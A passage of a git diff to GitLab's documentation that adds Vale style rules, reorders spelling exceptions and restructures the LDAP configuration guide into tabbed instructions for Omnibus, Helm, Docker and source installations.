@@ -0,0 +1,13 @@
+---
+# Error: gitlab.TabsLinks
+#
+# Checks for the presence of links to individual GitLab UI tabs.
+#
+# For a list of all options, see https://vale.sh/docs/topics/styles/
+extends: existence
+message: "Do not include tabs query parameters in links."
+link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#tabs
+level: error
+scope: raw
+raw:
+ - '\[[^\]]+\]\(.*?\.md\?tab=.*?\)'
diff --git a/doc/.vale/gitlab/Uppercase.yml b/doc/.vale/gitlab/Uppercase.yml
index 039ad7c5f03..19e0fec6622 100644
--- a/doc/.vale/gitlab/Uppercase.yml
+++ b/doc/.vale/gitlab/Uppercase.yml
@@ -1,13 +1,13 @@
---
-# Warning: gitlab.Uppercase
+# Suggestion: gitlab.Uppercase
#
# Checks for use of all uppercase letters with unknown reason.
#
# For a list of all options, see https://vale.sh/docs/topics/styles/
extends: conditional
-message: "Instead of uppercase for '%s', use lowercase or backticks (`) if possible. Otherwise, add this word or acronym to the rule's exception list."
+message: "Instead of uppercase for '%s', use lowercase or backticks (`) if possible. Otherwise, ask a Technical Writer to add this word or acronym to the rule's exception list."
link: https://docs.gitlab.com/ee/development/documentation/testing.html#vale-uppercase-acronym-test
-level: warning
+level: suggestion
ignorecase: false
# Ensures that the existence of 'first' implies the existence of 'second'.
first: '\b([A-Z]{3,5})\b'
@@ -47,10 +47,10 @@ exceptions:
- CSS
- CSV
- CTE
- - CWE
- CVE
- CVS
- CVSS
+ - CWE
- DAG
- DAST
- DDL
@@ -148,6 +148,7 @@ exceptions:
- NTP
- OCI
- OKD
+ - OKR
- ONLY
- OSS
- OTP
diff --git a/doc/.vale/gitlab/spelling-exceptions.txt b/doc/.vale/gitlab/spelling-exceptions.txt
index 81b21f026f4..5403b80141e 100644
--- a/doc/.vale/gitlab/spelling-exceptions.txt
+++ b/doc/.vale/gitlab/spelling-exceptions.txt
@@ -377,6 +377,7 @@ Getter
Getters
gettext
GIDs
+gists
Git
Gitaly
Gitea
@@ -547,8 +548,8 @@ Mattermost
mbox
memoization
memoize
-memoizes
memoized
+memoizes
memoizing
Memorystore
mergeability
@@ -589,8 +590,8 @@ mutex
nameserver
nameservers
namespace
-namespaced
namespace's
+namespaced
namespaces
namespacing
namespacings
@@ -620,6 +621,7 @@ offboarding
offboards
OIDs
OKRs
+OKRs
Okta
OmniAuth
onboarding
@@ -639,12 +641,12 @@ Packwerk
paginator
parallelization
parallelizations
+parsable
PascalCase
PascalCased
passthrough
passthroughs
passwordless
-parsable
Patroni
PDFs
performant
@@ -827,8 +829,8 @@ Salesforce
sandboxing
sanitization
SBOMs
-SBT
sbt
+SBT
scalers
scatterplot
scatterplots
diff --git a/doc/administration/audit_event_streaming.md b/doc/administration/audit_event_streaming.md
index 4d0e6518ebb..92ccbe8b1a6 100644
--- a/doc/administration/audit_event_streaming.md
+++ b/doc/administration/audit_event_streaming.md
@@ -373,7 +373,7 @@ Streamed audit events have a predictable schema in the body of the response.
> - [Added `details.author_class` field](https://gitlab.com/gitlab-org/gitlab/-/issues/363876) in GitLab 15.3.
> - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/101583) in GitLab 15.6. Feature flag `audit_event_streaming_git_operations` removed.
-Streaming audit events can be sent when signed-in users push, pull, or clone a project's remote Git repositories:
+Streaming audit events can be sent when authenticated users push, pull, or clone a project's remote Git repositories:
- [Using SSH](../user/ssh.md).
- Using HTTP or HTTPS.
diff --git a/doc/administration/audit_events.md b/doc/administration/audit_events.md
index 1951ab5e2c7..30e6ca44972 100644
--- a/doc/administration/audit_events.md
+++ b/doc/administration/audit_events.md
@@ -200,7 +200,7 @@ The following actions on groups generate group audit events:
[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/353452) in GitLab 14.9.
- Failed attempt to create a group deploy token. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/353452)
in GitLab 14.9.
-- [IP restrictions](../user/group/access_and_permissions.md#restrict-access-to-groups-by-ip-address) changed.
+- [IP restrictions](../user/group/access_and_permissions.md#restrict-group-access-by-ip-address) changed.
[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/358986) in GitLab 15.0.
- Changes to push rules. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/227629) in GitLab 15.0.
- [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/356152) in GitLab 15.1, changes to the following merge
diff --git a/doc/administration/auditor_users.md b/doc/administration/auditor_users.md
index a047e7c1f0b..38c3a089756 100644
--- a/doc/administration/auditor_users.md
+++ b/doc/administration/auditor_users.md
@@ -55,6 +55,7 @@ If you are signed in with auditor access, you:
you can push commits or comment on issues.
- Can access the same resources using the GitLab UI or API.
- Can't view the Admin Area, or perform any administration actions.
+- Can't view job logs when [debug logging](../ci/variables/index.md#enable-debug-logging) is enabled.
## Maintain auditor users using API
diff --git a/doc/administration/auth/ldap/google_secure_ldap.md b/doc/administration/auth/ldap/google_secure_ldap.md
index 01197fdacdf..e0612099221 100644
--- a/doc/administration/auth/ldap/google_secure_ldap.md
+++ b/doc/administration/auth/ldap/google_secure_ldap.md
@@ -24,33 +24,33 @@ The steps below cover:
1. Go to **Apps > LDAP > Add Client**.
-1. Provide an `LDAP client name` and an optional `Description`. Any descriptive
- values are acceptable. For example, the name could be 'GitLab' and the
- description could be 'GitLab LDAP Client'. Select the **Continue** button.
+1. Provide an **LDAP client name** and an optional **Description**. Any descriptive
+ values are acceptable. For example, the name could be `GitLab` and the
+ description could be `GitLab LDAP Client`. Select **Continue**.
![Add LDAP Client Step 1](img/google_secure_ldap_add_step_1.png)
1. Set **Access Permission** according to your needs. You must choose either
- 'Entire domain (GitLab)' or 'Selected organizational units' for both 'Verify user
- credentials' and 'Read user information'. Select 'Add LDAP Client'
+ `Entire domain (GitLab)` or `Selected organizational units` for both **Verify user
+ credentials** and **Read user information**. Select **Add LDAP Client**.
NOTE:
If you plan to use GitLab [LDAP Group Sync](ldap_synchronization.md#group-sync)
- , turn on 'Read group information'.
+ , turn on `Read group information`.
![Add LDAP Client Step 2](img/google_secure_ldap_add_step_2.png)
1. Download the generated certificate. This is required for GitLab to
communicate with the Google Secure LDAP service. Save the downloaded certificates
- for later use. After downloading, select the **Continue to Client Details** button.
+ for later use. After downloading, select **Continue to Client Details**.
-1. Expand the **Service Status** section and turn the LDAP client 'ON for everyone'.
- After selecting 'Save', select the 'Service Status' bar again to collapse
+1. Expand the **Service Status** section and turn the LDAP client `ON for everyone`.
+ After selecting **Save**, select the **Service Status** bar again to collapse
and return to the rest of the settings.
-1. Expand the **Authentication** section and choose 'Generate New Credentials'.
- Copy/note these credentials for later use. After selecting 'Close', select
- the 'Authentication' bar again to collapse and return to the rest of the settings.
+1. Expand the **Authentication** section and choose **Generate New Credentials**.
+ Copy/note these credentials for later use. After selecting **Close**, select
+ the **Authentication** bar again to collapse and return to the rest of the settings.
Now the Google Secure LDAP Client configuration is finished. The screenshot below
shows an example of the final settings. Continue on to configure GitLab.
diff --git a/doc/administration/auth/ldap/index.md b/doc/administration/auth/ldap/index.md
index 2cb9bac7af9..43d13b8ea32 100644
--- a/doc/administration/auth/ldap/index.md
+++ b/doc/administration/auth/ldap/index.md
@@ -69,93 +69,137 @@ You should only use LDAP integration if your LDAP users cannot:
## Configure LDAP
-To configure LDAP integration, add your LDAP server settings in:
+LDAP users must have a set email address, regardless of whether or not it's used
+to sign in.
-- `/etc/gitlab/gitlab.rb` for Omnibus GitLab instances.
-- `/home/git/gitlab/config/gitlab.yml` for source install instances.
+Here's an example of setting up LDAP with only the required options.
-After configuring LDAP, to test the configuration, use the
-[LDAP check Rake task](../../raketasks/ldap.md#check).
+::Tabs
-NOTE:
-The `encryption` value `simple_tls` corresponds to 'Simple TLS' in the LDAP
-library. `start_tls` corresponds to StartTLS, not to be confused with regular TLS.
-Normally, if you specify `simple_tls` it is on port 636, while `start_tls` (StartTLS)
-would be on port 389. `plain` also operates on port 389. Removed values: `tls` was replaced
-with `start_tls` and `ssl` was replaced with `simple_tls`.
+:::TabTitle Linux package (Omnibus)
-LDAP users must have a set email address, regardless of whether or not it's used
-to sign in.
+1. Edit `/etc/gitlab/gitlab.rb`:
-### Example Linux package (Omnibus) configuration
-
-This example shows a sample configuration for a GitLab instance that
-was installed by using the Linux package (Omnibus):
-
-```ruby
-gitlab_rails['ldap_enabled'] = true
-gitlab_rails['prevent_ldap_sign_in'] = false
-gitlab_rails['ldap_servers'] = {
- 'main' => {
- 'label' => 'LDAP',
- 'host' => 'ldap.mydomain.com',
- 'port' => 636,
- 'uid' => 'sAMAccountName',
- 'encryption' => 'simple_tls',
- 'verify_certificates' => true,
- 'bind_dn' => '_the_full_dn_of_the_user_you_will_bind_with',
- 'password' => '_the_password_of_the_bind_user',
- 'tls_options' => {
- 'ca_file' => '',
- 'ssl_version' => '',
- 'ciphers' => '',
- 'cert' => '',
- 'key' => ''
- },
- 'timeout' => 10,
- 'active_directory' => true,
- 'allow_username_or_email_login' => false,
- 'block_auto_created_users' => false,
- 'base' => 'dc=example,dc=com',
- 'user_filter' => '',
- 'attributes' => {
- 'username' => ['uid', 'userid', 'sAMAccountName'],
- 'email' => ['mail', 'email', 'userPrincipalName'],
- 'name' => 'cn',
- 'first_name' => 'givenName',
- 'last_name' => 'sn'
- },
- 'lowercase_usernames' => false,
-
- # EE Only
- 'group_base' => '',
- 'admin_group' => '',
- 'external_groups' => [],
- 'sync_ssh_keys' => false
- }
-}
-```
+ ```ruby
+ gitlab_rails['ldap_enabled'] = true
+ gitlab_rails['ldap_servers'] = {
+ 'main' => {
+ 'label' => 'LDAP',
+ 'host' => 'ldap.mydomain.com',
+ 'port' => 636,
+ 'uid' => 'sAMAccountName',
+ 'encryption' => 'simple_tls',
+ 'base' => 'dc=example,dc=com',
+ }
+ }
+ ```
+
+1. Save the file and reconfigure GitLab:
+
+ ```shell
+ sudo gitlab-ctl reconfigure
+ ```
-### Example Helm chart (Kubernetes) configuration
+:::TabTitle Helm chart (Kubernetes)
-View [how to configure LDAP for a GitLab instance that was installed by using the Helm chart](https://docs.gitlab.com/charts/charts/globals.html#ldap).
+1. Export the Helm values:
-### Example self-compiled (source) configuration
+ ```shell
+ helm get values gitlab > gitlab_values.yaml
+ ```
-This example shows a sample configuration for a GitLab instance that
-was installed by using the self-compiled source:
+1. Edit `gitlab_values.yaml`:
-```yaml
-production:
- # snip...
- ldap:
- enabled: false
- prevent_ldap_sign_in: false
- servers:
- main:
- label: 'LDAP'
- ...
-```
+ ```yaml
+ global:
+ appConfig:
+ ldap:
+ servers:
+ main:
+ label: 'LDAP'
+ host: 'ldap.mydomain.com'
+ port: 636
+ uid: 'sAMAccountName'
+ base: 'dc=example,dc=com'
+ encryption: 'simple_tls'
+ ```
+
+1. Save the file and apply the new values:
+
+ ```shell
+ helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab
+ ```
+
+For more information, see
+[how to configure LDAP for a GitLab instance that was installed by using the Helm chart](https://docs.gitlab.com/charts/charts/globals.html#ldap).
+
+:::TabTitle Docker
+
+1. Edit `docker-compose.yml`:
+
+ ```yaml
+ version: "3.6"
+ services:
+ gitlab:
+ image: 'gitlab/gitlab-ee:latest'
+ restart: always
+ hostname: 'gitlab.example.com'
+ environment:
+ GITLAB_OMNIBUS_CONFIG: |
+ gitlab_rails['ldap_enabled'] = true
+ gitlab_rails['ldap_servers'] = {
+ 'main' => {
+ 'label' => 'LDAP',
+ 'host' => 'ldap.mydomain.com',
+ 'port' => 636,
+ 'uid' => 'sAMAccountName',
+ 'encryption' => 'simple_tls',
+ 'base' => 'dc=example,dc=com',
+ }
+ }
+ ```
+
+1. Save the file and restart GitLab:
+
+ ```shell
+ docker compose up -d
+ ```
+
+:::TabTitle Self-compiled (source)
+
+1. Edit `/home/git/gitlab/config/gitlab.yml`:
+
+ ```yaml
+ production: &base
+ ldap:
+ enabled: true
+ servers:
+ main:
+ label: 'LDAP'
+ host: 'ldap.mydomain.com'
+ port: 636
+ uid: 'sAMAccountName'
+ encryption: 'simple_tls'
+ base: 'dc=example,dc=com'
+ ```
+
+1. Save the file and restart GitLab:
+
+ ```shell
+ # For systems running systemd
+ sudo systemctl restart gitlab.target
+
+ # For systems running SysV init
+ sudo service gitlab restart
+ ```
+
+For more information about the various LDAP options, see the `ldap` setting in
+[`gitlab.yml.example`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example).
+
+::EndTabs
+
+After configuring LDAP, to test the configuration, use the
+[LDAP check Rake task](../../raketasks/ldap.md#check).
### Basic configuration settings
@@ -178,24 +222,17 @@ These configuration settings are available:
| `uid` | The LDAP attribute that maps to the username that users use to sign in. Should be the attribute, not the value that maps to the `uid`. Does not affect the GitLab username (see [attributes section](#attribute-configuration-settings)). | **{check-circle}** Yes | `'sAMAccountName'` or `'uid'` or `'userPrincipalName'` |
| `bind_dn` | The full DN of the user you bind with. | **{dotted-circle}** No | `'america\momo'` or `'CN=Gitlab,OU=Users,DC=domain,DC=com'` |
| `password` | The password of the bind user. | **{dotted-circle}** No | `'your_great_password'` |
-| `encryption` | Encryption method. The `method` key is deprecated in favor of `encryption`. | **{check-circle}** Yes | `'start_tls'` or `'simple_tls'` or `'plain'` |
+| `encryption` | Encryption method. The `method` key is deprecated in favor of `encryption`. | **{check-circle}** Yes | `'start_tls'`, `'simple_tls'`, or `'plain'`. `simple_tls` corresponds to 'Simple TLS' in the LDAP library. `start_tls` corresponds to StartTLS, not to be confused with regular TLS. If you specify `simple_tls`, usually it's on port 636, while `start_tls` (StartTLS) would be on port 389. `plain` also operates on port 389. |
| `verify_certificates` | Enables SSL certificate verification if encryption method is `start_tls` or `simple_tls`. If set to false, no validation of the LDAP server's SSL certificate is performed. Defaults to true. | **{dotted-circle}** No | boolean |
| `timeout` | Set a timeout, in seconds, for LDAP queries. This helps avoid blocking a request if the LDAP server becomes unresponsive. A value of `0` means there is no timeout. (default: `10`) | **{dotted-circle}** No | `10` or `30` |
| `active_directory` | This setting specifies if LDAP server is Active Directory LDAP server. For non-AD servers it skips the AD specific queries. If your LDAP server is not AD, set this to false. | **{dotted-circle}** No | boolean |
| `allow_username_or_email_login` | If enabled, GitLab ignores everything after the first `@` in the LDAP username submitted by the user on sign-in. If you are using `uid: 'userPrincipalName'` on ActiveDirectory you must disable this setting, because the userPrincipalName contains an `@`. | **{dotted-circle}** No | boolean |
| `block_auto_created_users` | To maintain tight control over the number of billable users on your GitLab installation, enable this setting to keep new users blocked until they have been cleared by an administrator (default: false). | **{dotted-circle}** No | boolean |
| `base` | Base where we can search for users. | **{check-circle}** Yes | `'ou=people,dc=gitlab,dc=example'` or `'DC=mydomain,DC=com'` |
-| `user_filter` | Filter LDAP users. Format: [RFC 4515](https://www.rfc-editor.org/rfc/rfc4515.html) Note: GitLab does not support `omniauth-ldap`'s custom filter syntax. | **{dotted-circle}** No | For examples, read [Examples of user filters](#examples-of-user-filters). |
+| `user_filter` | Filter LDAP users. Format: [RFC 4515](https://www.rfc-editor.org/rfc/rfc4515.html) Note: GitLab does not support `omniauth-ldap`'s custom filter syntax. | **{dotted-circle}** No | Some examples of the `user_filter` field syntax:<br/><br/>- `'(employeeType=developer)'`<br/>- `'(&(objectclass=user)(|(samaccountname=momo)(samaccountname=toto)))'` |
| `lowercase_usernames` | If enabled, GitLab converts the name to lower case. | **{dotted-circle}** No | boolean |
| `retry_empty_result_with_codes` | An array of LDAP query response code that attempt to retry the operation if the result/content is empty. For Google Secure LDAP, set this value to `[80]`. | **{dotted-circle}** No | `[80]` |
-#### Examples of user filters
-
-Some examples of the `user_filter` field syntax:
-
-- `'(employeeType=developer)'`
-- `'(&(objectclass=user)(|(samaccountname=momo)(samaccountname=toto)))'`
-
### SSL configuration settings
These SSL configuration settings are available:
@@ -247,35 +284,193 @@ If you have users on multiple LDAP servers, you can configure GitLab to use them
alphanumeric characters. GitLab uses the provider ID to associate each user with a specific LDAP server.
- For each entry, use a unique `label` value. These values are used for the tab names on the sign-in page.
-#### Example of multiple LDAP servers
-
-The following example shows how to configure three LDAP servers in `gitlab.rb`:
-
-```ruby
-gitlab_rails['ldap_enabled'] = true
-gitlab_rails['ldap_servers'] = {
- 'main' => {
- 'label' => 'GitLab AD',
- 'host' => 'ad.example.org',
- 'port' => 636,
- ...
- },
-
- 'secondary' => {
- 'label' => 'GitLab Secondary AD',
- 'host' => 'ad-secondary.example.net',
- 'port' => 636,
- ...
- },
-
- 'tertiary' => {
- 'label' => 'GitLab Tertiary AD',
- 'host' => 'ad-tertiary.example.net',
- 'port' => 636,
- ...
- }
-}
-```
+The following example shows how to configure three LDAP servers with
+minimal configuration:
+
+::Tabs
+
+:::TabTitle Linux package (Omnibus)
+
+1. Edit `/etc/gitlab/gitlab.rb`:
+
+ ```ruby
+ gitlab_rails['ldap_enabled'] = true
+ gitlab_rails['ldap_servers'] = {
+ 'main' => {
+ 'label' => 'GitLab AD',
+ 'host' => 'ad.mydomain.com',
+ 'port' => 636,
+ 'uid' => 'sAMAccountName',
+ 'encryption' => 'simple_tls',
+ 'base' => 'dc=example,dc=com',
+ },
+
+ 'secondary' => {
+ 'label' => 'GitLab Secondary AD',
+ 'host' => 'ad-secondary.mydomain.com',
+ 'port' => 636,
+ 'uid' => 'sAMAccountName',
+ 'encryption' => 'simple_tls',
+ 'base' => 'dc=example,dc=com',
+ },
+
+ 'tertiary' => {
+ 'label' => 'GitLab Tertiary AD',
+ 'host' => 'ad-tertiary.mydomain.com',
+ 'port' => 636,
+ 'uid' => 'sAMAccountName',
+ 'encryption' => 'simple_tls',
+ 'base' => 'dc=example,dc=com',
+ }
+ }
+ ```
+
+1. Save the file and reconfigure GitLab:
+
+ ```shell
+ sudo gitlab-ctl reconfigure
+ ```
+
+:::TabTitle Helm chart (Kubernetes)
+
+1. Export the Helm values:
+
+ ```shell
+ helm get values gitlab > gitlab_values.yaml
+ ```
+
+1. Edit `gitlab_values.yaml`:
+
+ ```yaml
+ global:
+ appConfig:
+ ldap:
+ servers:
+ main:
+ label: 'GitLab AD'
+ host: 'ad.mydomain.com'
+ port: 636
+ uid: 'sAMAccountName'
+ base: 'dc=example,dc=com'
+ encryption: 'simple_tls'
+ secondary:
+ label: 'GitLab Secondary AD'
+ host: 'ad-secondary.mydomain.com'
+ port: 636
+ uid: 'sAMAccountName'
+ base: 'dc=example,dc=com'
+ encryption: 'simple_tls'
+ tertiary:
+ label: 'GitLab Tertiary AD'
+ host: 'ad-tertiary.mydomain.com'
+ port: 636
+ uid: 'sAMAccountName'
+ base: 'dc=example,dc=com'
+ encryption: 'simple_tls'
+ ```
+
+1. Save the file and apply the new values:
+
+ ```shell
+ helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab
+ ```
+
+:::TabTitle Docker
+
+1. Edit `docker-compose.yml`:
+
+ ```yaml
+ version: "3.6"
+ services:
+ gitlab:
+ image: 'gitlab/gitlab-ee:latest'
+ restart: always
+ hostname: 'gitlab.example.com'
+ environment:
+ GITLAB_OMNIBUS_CONFIG: |
+ gitlab_rails['ldap_enabled'] = true
+ gitlab_rails['ldap_servers'] = {
+ 'main' => {
+ 'label' => 'GitLab AD',
+ 'host' => 'ad.mydomain.com',
+ 'port' => 636,
+ 'uid' => 'sAMAccountName',
+ 'encryption' => 'simple_tls',
+ 'base' => 'dc=example,dc=com',
+ },
+
+ 'secondary' => {
+ 'label' => 'GitLab Secondary AD',
+ 'host' => 'ad-secondary.mydomain.com',
+ 'port' => 636,
+ 'uid' => 'sAMAccountName',
+ 'encryption' => 'simple_tls',
+ 'base' => 'dc=example,dc=com',
+ },
+
+ 'tertiary' => {
+ 'label' => 'GitLab Tertiary AD',
+ 'host' => 'ad-tertiary.mydomain.com',
+ 'port' => 636,
+ 'uid' => 'sAMAccountName',
+ 'encryption' => 'simple_tls',
+ 'base' => 'dc=example,dc=com',
+ }
+ }
+ ```
+
+1. Save the file and restart GitLab:
+
+ ```shell
+ docker compose up -d
+ ```
+
+:::TabTitle Self-compiled (source)
+
+1. Edit `/home/git/gitlab/config/gitlab.yml`:
+
+ ```yaml
+ production: &base
+ ldap:
+ enabled: true
+ servers:
+ main:
+ label: 'GitLab AD'
+ host: 'ad.mydomain.com'
+ port: 636
+ uid: 'sAMAccountName'
+ base: 'dc=example,dc=com'
+ encryption: 'simple_tls'
+ secondary:
+ label: 'GitLab Secondary AD'
+ host: 'ad-secondary.mydomain.com'
+ port: 636
+ uid: 'sAMAccountName'
+ base: 'dc=example,dc=com'
+ encryption: 'simple_tls'
+ tertiary:
+ label: 'GitLab Tertiary AD'
+ host: 'ad-tertiary.mydomain.com'
+ port: 636
+ uid: 'sAMAccountName'
+ base: 'dc=example,dc=com'
+ encryption: 'simple_tls'
+ ```
+
+1. Save the file and restart GitLab:
+
+ ```shell
+ # For systems running systemd
+ sudo systemctl restart gitlab.target
+
+ # For systems running SysV init
+ sudo service gitlab restart
+ ```
+
+For more information about the various LDAP options, see the `ldap` setting in
+[`gitlab.yml.example`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example).
+
+::EndTabs
This example results in a sign-in page with the following tabs:
@@ -289,27 +484,100 @@ To limit all GitLab access to a subset of the LDAP users on your LDAP server, fi
configured `base`. However, to further filter users if
necessary, you can set up an LDAP user filter. The filter must comply with [RFC 4515](https://www.rfc-editor.org/rfc/rfc4515.html).
-- Example user filter for Omnibus GitLab instances:
+::Tabs
- ```ruby
- gitlab_rails['ldap_servers'] = {
- 'main' => {
- # snip...
- 'user_filter' => '(employeeType=developer)'
- }
- }
- ```
+:::TabTitle Linux package (Omnibus)
-- Example user filter for source install instances:
+1. Edit `/etc/gitlab/gitlab.rb`:
- ```yaml
- production:
- ldap:
- servers:
- main:
- # snip...
- user_filter: '(employeeType=developer)'
- ```
+ ```ruby
+ gitlab_rails['ldap_servers'] = {
+ 'main' => {
+ 'user_filter' => '(employeeType=developer)'
+ }
+ }
+ ```
+
+1. Save the file and reconfigure GitLab:
+
+ ```shell
+ sudo gitlab-ctl reconfigure
+ ```
+
+:::TabTitle Helm chart (Kubernetes)
+
+1. Export the Helm values:
+
+ ```shell
+ helm get values gitlab > gitlab_values.yaml
+ ```
+
+1. Edit `gitlab_values.yaml`:
+
+ ```yaml
+ global:
+ appConfig:
+ ldap:
+ servers:
+ main:
+ user_filter: '(employeeType=developer)'
+ ```
+
+1. Save the file and apply the new values:
+
+ ```shell
+ helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab
+ ```
+
+:::TabTitle Docker
+
+1. Edit `docker-compose.yml`:
+
+ ```yaml
+ version: "3.6"
+ services:
+ gitlab:
+ image: 'gitlab/gitlab-ee:latest'
+ restart: always
+ hostname: 'gitlab.example.com'
+ environment:
+ GITLAB_OMNIBUS_CONFIG: |
+ gitlab_rails['ldap_servers'] = {
+ 'main' => {
+ 'user_filter' => '(employeeType=developer)'
+ }
+ }
+ ```
+
+1. Save the file and restart GitLab:
+
+ ```shell
+ docker compose up -d
+ ```
+
+:::TabTitle Self-compiled (source)
+
+1. Edit `/home/git/gitlab/config/gitlab.yml`:
+
+ ```yaml
+ production: &base
+ ldap:
+ servers:
+ main:
+ user_filter: '(employeeType=developer)'
+ ```
+
+1. Save the file and restart GitLab:
+
+ ```shell
+ # For systems running systemd
+ sudo systemctl restart gitlab.target
+
+ # For systems running SysV init
+ sudo service gitlab restart
+ ```
+
+::EndTabs
To limit access to the nested members of an Active Directory group, use the following syntax:
@@ -325,7 +593,7 @@ Support for nested members in the user filter shouldn't be confused with
GitLab does not support the custom filter syntax used by OmniAuth LDAP.
-#### Escape special characters
+#### Escape special characters in `user_filter`
The `user_filter` DN can contain special characters. For example:
@@ -338,11 +606,11 @@ The `user_filter` DN can contain special characters. For example:
- Open and close brackets:
```plaintext
- OU=Gitlab (Inc),DC=gitlab,DC=com
+ OU=GitLab (Inc),DC=gitlab,DC=com
```
- These characters must be escaped as documented in
- [RFC 4515](https://www.rfc-editor.org/rfc/rfc4515.html).
+These characters must be escaped as documented in
+[RFC 4515](https://www.rfc-editor.org/rfc/rfc4515.html#section-4).
- Escape commas with `\2C`. For example:
@@ -353,12 +621,12 @@ The `user_filter` DN can contain special characters. For example:
- Escape open brackets with `\28` and close brackets with `\29`. For example:
```plaintext
- OU=Gitlab \28Inc\29,DC=gitlab,DC=com
+ OU=GitLab \28Inc\29,DC=gitlab,DC=com
```
### Enable LDAP username lowercase
-Some LDAP servers, depending on their configurations, can return uppercase usernames.
+Some LDAP servers, depending on their configuration, can return uppercase usernames.
This can lead to several confusing issues such as creating links or namespaces with uppercase names.
GitLab can automatically lowercase usernames provided by the LDAP server by enabling
@@ -373,13 +641,67 @@ the configuration option `lowercase_usernames`. By default, this configuration o
```ruby
gitlab_rails['ldap_servers'] = {
'main' => {
- # snip...
'lowercase_usernames' => true
}
}
```
-1. [Reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+1. Save the file and reconfigure GitLab:
+
+ ```shell
+ sudo gitlab-ctl reconfigure
+ ```
+
+:::TabTitle Helm chart (Kubernetes)
+
+1. Export the Helm values:
+
+ ```shell
+ helm get values gitlab > gitlab_values.yaml
+ ```
+
+1. Edit `gitlab_values.yaml`:
+
+ ```yaml
+ global:
+ appConfig:
+ ldap:
+ servers:
+ main:
+ lowercase_usernames: true
+ ```
+
+1. Save the file and apply the new values:
+
+ ```shell
+ helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab
+ ```
+
+:::TabTitle Docker
+
+1. Edit `docker-compose.yml`:
+
+ ```yaml
+ version: "3.6"
+ services:
+ gitlab:
+ image: 'gitlab/gitlab-ee:latest'
+ restart: always
+ hostname: 'gitlab.example.com'
+ environment:
+ GITLAB_OMNIBUS_CONFIG: |
+ gitlab_rails['ldap_servers'] = {
+ 'main' => {
+ 'lowercase_usernames' => true
+ }
+ }
+ ```
+
+1. Save the file and restart GitLab:
+
+ ```shell
+ docker compose up -d
+ ```
:::TabTitle Self-compiled (source)
@@ -390,11 +712,18 @@ the configuration option `lowercase_usernames`. By default, this configuration o
ldap:
servers:
main:
- # snip...
lowercase_usernames: true
```
-1. [Restart GitLab](../../restart_gitlab.md#installations-from-source) for the changes to take effect.
+1. Save the file and restart GitLab:
+
+ ```shell
+ # For systems running systemd
+ sudo systemctl restart gitlab.target
+
+ # For systems running SysV init
+ sudo service gitlab restart
+ ```
::EndTabs
@@ -418,7 +747,11 @@ This does not disable using LDAP credentials for Git access.
gitlab_rails['prevent_ldap_sign_in'] = true
```
-1. [Reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+1. Save the file and reconfigure GitLab:
+
+ ```shell
+ sudo gitlab-ctl reconfigure
+ ```
:::TabTitle Helm chart (Kubernetes)
@@ -443,6 +776,28 @@ This does not disable using LDAP credentials for Git access.
helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab
```
+:::TabTitle Docker
+
+1. Edit `docker-compose.yml`:
+
+ ```yaml
+ version: "3.6"
+ services:
+ gitlab:
+ image: 'gitlab/gitlab-ee:latest'
+ restart: always
+ hostname: 'gitlab.example.com'
+ environment:
+ GITLAB_OMNIBUS_CONFIG: |
+ gitlab_rails['prevent_ldap_sign_in'] = true
+ ```
+
+1. Save the file and restart GitLab:
+
+ ```shell
+ docker compose up -d
+ ```
+
:::TabTitle Self-compiled (source)
1. Edit `config/gitlab.yaml`:
@@ -453,41 +808,46 @@ This does not disable using LDAP credentials for Git access.
prevent_ldap_sign_in: true
```
-1. [Restart GitLab](../../restart_gitlab.md#installations-from-source) for the changes to take effect.
+1. Save the file and restart GitLab:
+
+ ```shell
+ # For systems running systemd
+ sudo systemctl restart gitlab.target
+
+ # For systems running SysV init
+ sudo service gitlab restart
+ ```
::EndTabs
### Use encrypted credentials
Instead of having the LDAP integration credentials stored in plaintext in the configuration files, you can optionally
-use an encrypted file for the LDAP credentials. To use this feature, first you must enable
-[GitLab encrypted configuration](../../encrypted_configuration.md).
+use an encrypted file for the LDAP credentials.
-The encrypted configuration for LDAP exists in an encrypted YAML file. By default the file is created at
-`shared/encrypted_configuration/ldap.yaml.enc`. This location is configurable in the GitLab configuration.
+Prerequisites:
-The unencrypted contents of the file should be a subset of the secret settings from your `servers` block in the LDAP
-configuration.
+- To use encrypted credentials, you must first enable the
+ [encrypted configuration](../../encrypted_configuration.md).
+
+The encrypted configuration for LDAP exists in an encrypted YAML file. The
+unencrypted contents of the file should be a subset of the secret settings from
+your `servers` block in the LDAP configuration.
The supported configuration items for the encrypted file are:
- `bind_dn`
- `password`
-The encrypted contents can be configured with the [LDAP secret edit Rake command](../../raketasks/ldap.md#edit-secret).
-
::Tabs
:::TabTitle Linux package (Omnibus)
-If initially your LDAP configuration looked like:
-
-1. In `/etc/gitlab/gitlab.rb`:
+1. If initially your LDAP configuration in `/etc/gitlab/gitlab.rb` looked like:
```ruby
gitlab_rails['ldap_servers'] = {
'main' => {
- # snip...
'bind_dn' => 'admin',
'password' => '123'
}
@@ -500,7 +860,7 @@ If initially your LDAP configuration looked like:
sudo gitlab-rake gitlab:ldap:secret:edit EDITOR=vim
```
-1. The unencrypted contents of the LDAP secret should be entered like:
+1. Enter the unencrypted contents of the LDAP secret:
```yaml
main:
@@ -509,21 +869,69 @@ If initially your LDAP configuration looked like:
```
1. Edit `/etc/gitlab/gitlab.rb` and remove the settings for `bind_dn` and `password`.
+1. Save the file and reconfigure GitLab:
-1. [Reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+ ```shell
+ sudo gitlab-ctl reconfigure
+ ```
-:::TabTitle Self-compiled (source)
+:::TabTitle Helm chart (Kubernetes)
+
